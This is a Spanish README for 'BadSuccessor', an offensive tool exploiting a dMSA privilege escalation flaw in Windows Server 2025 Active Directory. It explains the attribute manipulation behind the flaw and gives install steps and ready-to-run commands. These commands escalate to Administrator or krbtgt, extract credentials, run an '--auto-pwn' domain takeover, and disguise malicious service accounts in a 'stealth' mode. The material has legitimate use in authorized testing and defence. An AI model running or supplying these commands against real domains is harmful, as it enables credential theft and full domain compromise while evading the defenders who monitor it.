
Explota la vulnerabilidad de escalada de privilegios dMSA de Windows Server 2025 para enumerar OUs escribibles, escalar a usuarios de dominio arbitrarios, extraer credenciales y permitir la toma de control del dominio en evaluaciones de seguridad de AD autorizadas.
Una herramienta de pruebas de penetración que explota la vulnerabilidad de escalada de privilegios dMSA (delegated Managed Service Account) en entornos de Active Directory de Windows Server 2025.
Esta herramienta está destinada únicamente a pruebas de penetración autorizadas y fines de investigación de seguridad. El uso de esta herramienta contra sistemas sin permiso explícito por escrito es ilegal y poco ético. Los autores no son responsables de ningún uso indebido o daño causado por esta herramienta.
IMPORTANTE: Esta herramienta está en desarrollo y pruebas activas.
Animamos a la comunidad de seguridad a:
Al usar esta herramienta, usted reconoce que está en desarrollo activo y puede requerir modificaciones para su entorno específico.
BadSuccessor explota una vulnerabilidad de escalada de privilegios en la función de Managed Service Account delegado (dMSA) de Windows Server 2025. La vulnerabilidad permite a atacantes con permisos mínimos escalar privilegios a cualquier usuario del dominio, incluidos los administradores de dominio.
Esta herramienta se basa en la excelente investigación de Yuval Gordon, de Akamai Technologies:
La vulnerabilidad existe en el proceso de migración de dMSA, donde:
msDS-ManagedAccountPrecededByLink o ms-DS-Managed-Account-Preceded-By-Link para apuntar a un usuario objetivomsDS-DelegatedMSAState o ms-DS-Delegated-MSA-State en 2 (migración completada)Además, la estructura KERB-DMSA-KEY-PACKAGE contiene las claves de contraseña del usuario objetivo, lo que permite la extracción de credenciales.
pip3 install ldap3 pyasn1 pycryptodome pip3 install impacket==0.12.0
**Nota**: La herramienta ha sido probada con impacket 0.12.0. Las advertencias de compatibilidad de versión se muestran en tiempo de ejecución.
### Dependencias Opcionales```bash
# For DNS discovery
pip3 install dnspython
# For enhanced Kerberos support (system packages)
# Ubuntu/Debian
sudo apt-get install libkrb5-dev libgssapi-krb5-2
# RHEL/CentOS/Fedora
sudo yum install krb5-devel
CreateChildWriteGenericWriteGenericAllgit clone https://github.com/cybrly/badsuccessor.git cd badsuccessor pip3 install -r requirements.txt chmod +x badsuccessor.py
### requirements.txt```
ldap3>=2.9.1
pyasn1>=0.4.8
pycryptodome>=3.15.0
impacket==0.12.0
dnspython>=2.1.0
python3 badsuccessor.py -d -u -p [options]
### Ejemplos de inicio rápido
#### 1. Modo de prueba en seco (NUEVO) - Prueba sin realizar cambios```bash
# Simulate attack to verify viability
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator
# Dry run with specific OU
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator --ou-dn "OU=ServiceAccounts,DC=corp,DC=local"
python3 badsuccessor.py -d corp.local -u john -p Password123 --check-schema
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-targets
python3 badsuccessor.py -d corp.local -u john -p Password123 --validate-target Administrator
#### 3. Realizar el ataque```bash
# Basic attack against Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
# Stealth mode with innocuous naming
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator --stealth --random-delay 30
# Attack with custom dMSA attributes
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target krbtgt \
--dmsa-name legit_service --dmsa-description "Legitimate Service Account" \
--dmsa-display-name "Production Service"
# Attack with custom naming pattern
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
--dmsa-pattern "svc{random}prod"
python3 badsuccessor.py -d corp.local -u john -p Password123 --extract-creds --targets Administrator,krbtgt,svc_sql
python3 badsuccessor.py -d corp.local -u john -p Password123 --auto-pwn
#### 5. Gestión de Sesiones (NUEVO)```bash
# List all sessions
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions
# Resume a previous session
python3 badsuccessor.py -d corp.local -u john -p Password123 --session-id corp.local_john_1234567890_abcd1234
# Clean up all dMSAs from a session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-session SESSION_ID